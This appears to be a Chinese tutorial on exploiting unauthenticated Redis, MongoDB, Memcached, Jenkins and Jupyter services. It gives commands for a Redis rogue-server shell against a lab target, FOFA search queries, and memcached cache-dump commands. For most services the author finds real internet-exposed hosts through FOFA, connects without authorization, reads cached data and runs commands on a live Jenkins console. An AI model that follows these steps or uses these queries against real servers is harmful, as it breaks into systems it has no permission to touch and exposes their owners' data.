一. Redis
Redis 默认情况下，会绑定在
0.0.0.0:6379
，如果没有进⾏采⽤相关的策略，⽐如添加防 ⽕墙规则避免其他⾮信任来源 ip 访问等，这样将会将 Redis 服务暴露到公⽹上，如果在没有设 置密码认证（⼀般为空）的情况下，会导致任意⽤户在可以访问⽬标服务器的情况下未授权
Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利⽤ Redis ⾃身的提供
的config 命令,可以进⾏写⽂件操作，攻击者可以成功将⾃⼰的ssh公钥写⼊⽬标服务器的
/root/.ssh ⽂件夹的
authotrized_keys
⽂件中，进⽽可以使⽤对应私钥直接使⽤ssh服务 登录⽬标服务器。
复现
首先我们需要用docker启动一个靶机，命令如下
进⼊⽬录：cd /vulhub-master/redis/4-unacc
启动：docker-compose up -d
检查：docker-compose ps然后在kali上面安装redis程序，命令为
#安装redis
apt-get install redis
#redis链接
redis-cli -h x.x.x.x -p 6379连接后会弹出以下语言，直接连接上了，不需要认证，就说明存在未授权访问漏洞
接着我们下载redis-rogue-server.py来获取shell，下载连接https://github.com/n0b0dyCN/redis-rogue-server，下载后使用python3启动，然后就可以获取shell了，执行命令如下
python3 redis-rogue-server.py --rhost x.x.x.x --lhost x.x.x.x
二.MongoDB
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的⽤户可以通过默认端⼝⽆
需密码对数据库任意操作（增、删、改、查⾼危动作）⽽且可以远程访问数据库。
复现这个漏洞，我选择首先去fofa搜索端口为27017的ip，然后直接用navicat去尝试连接即可
首先打开navicat，点击连接，选择MongoDB，这里的主机填写我们查到的ip，连接名随便填写，然后测试连接
这里我直接找到了一个可以连接的
三.Memcached
Memcached 是⼀套常⽤的 key-value 分布式⾼速缓存系统，由于 Memcached 的安全设计缺陷没有权限控制模块，所以对公⽹开放的Memcache服务很容易被攻击者扫描发现，攻击者⽆需认证通过命令交互可直接读取 Memcached中的敏感信息。
首先我们需要下载Memcached程序，下载链接如下
https://www.runoob.com/memcached/window-install-memcached.html下载后我们利用如下命令安装并启动Memcached漏洞程序
memcached.exe -d install
memcached.exe -d start然后用telnet去连接有memcached的11211 端口，这里我们去fofa中搜索端口为11211的ip，然后尝试连接，出现如下字样就是连接成功了
然后可以使用命令
stats //查看memcache服务状态
stats items //查看所有items
stats cachedump 39 0 //获得缓存key
get :state:264861539228401373:261588 //通过key读取相应value获得实际缓存内容，造
成敏感信息泄露
接下来，我们使⽤Nmap程序的脚本进⾏漏洞扫描,发现也可以扫出来
nmap -p 11211 --script memcached-info x.x.x.x
四.Jenkins
默认情况下 Jenkins⾯板中⽤户可以选择执⾏脚本界⾯来操作⼀些系统层命令，攻击者可通
过未授权访问漏洞或者暴⼒破解⽤户密码等进⼊后台管理服务，通过脚本执⾏界⾯从⽽获取服务
器权限。
首先我们利用如下语句在fofa中搜索
port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"
找到一个页面中有Manage Jenkins的，往下滑会有一个Scritp Console
点开之后我们就可以在里面执行命令了，这里我们执行一个println "whoami" .execute().text，发现成功执行
五.Jupyter NoteBook
Jupyter Notebook（此前被称为 IPython notebook）是⼀个交互式笔记本，⽀持运⾏ 40多种编程语⾔。如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建⼀个console并执⾏任意Python代码和命令，默认端⼝：8888。
同样的，我们在fofa中搜索"Jupyter Notebook" && port="8888"，如果存在未授权访问漏洞，那么点进去会直接跳转到web页面，否则就会到一个登陆页面
登陆页面
web页面
在web页面，我们可以直接创建一个终端来执行命令，点击new里的terminal即可
然后在这里可以直接执行命令
![[Meachines] [Easy] Sense PFSense防火墙RCE](https://img-blog.csdnimg.cn/img_convert/fe637a0c56567c4776d61f075589201e.jpeg)
